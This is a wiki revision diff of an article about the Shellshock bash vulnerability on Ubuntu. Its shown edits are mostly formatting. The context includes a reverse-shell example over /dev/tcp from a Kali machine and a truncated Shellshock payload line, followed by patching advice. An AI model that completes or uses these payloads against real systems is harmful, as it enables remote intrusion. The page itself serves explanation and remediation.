ubuntu:vulnerabilities:shellshock
Differences
This shows you the differences between two versions of the page.
| Next revision | Previous revision | ||
| ubuntu:vulnerabilities:shellshock [2019/12/04 22:21] – created peter | ubuntu:vulnerabilities:shellshock [2020/07/15 09:30] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 96: | Line 96: | ||
| ==== Example 2: Getting a reverse tcp connection from target system using /dev/tcp connection. ==== | ==== Example 2: Getting a reverse tcp connection from target system using /dev/tcp connection. ==== | ||
| - | |||
| In this example I had two machines, one is Kali Linux – 192.168.31.20 | In this example I had two machines, one is Kali Linux – 192.168.31.20 | ||
| Line 109: | Line 108: | ||
| That’s it we successfully got the reverse connection of www-data user from the bash vulnerable system. | That’s it we successfully got the reverse connection of www-data user from the bash vulnerable system. | ||
| + | |||
| + | ---- | ||
| Another approach | Another approach | ||
| Line 115: | Line 116: | ||
| () { :;}; /bin/bash -c '/ | () { :;}; /bin/bash -c '/ | ||
| </ | </ | ||
| + | |||
| + | ---- | ||
| + | |||
| ===== Test Remote Sites ===== | ===== Test Remote Sites ===== | ||
| Line 135: | Line 139: | ||
| ===== End of Life Ubuntu / Debian Releases ===== | ===== End of Life Ubuntu / Debian Releases ===== | ||
| - | If you are running a release of Ubuntu / Debian that is considered end of life status, you will have to upgrade to a supported to use the package manager to update Bash. The following command can be used to upgrade to a new release (it is recommended that you back up your server and important data first, in case you run into any issues): | + | If you are running a release of Ubuntu / Debian that is considered end of life status, you will have to upgrade to a supported to use the package manager to update Bash. |
| + | |||
| + | The following command can be used to upgrade to a new release (it is recommended that you back up your server and important data first, in case you run into any issues): | ||
| <code bash> | <code bash> | ||
ubuntu/vulnerabilities/shellshock.1575498073.txt.gz · Last modified: 2020/07/15 09:30 (external edit)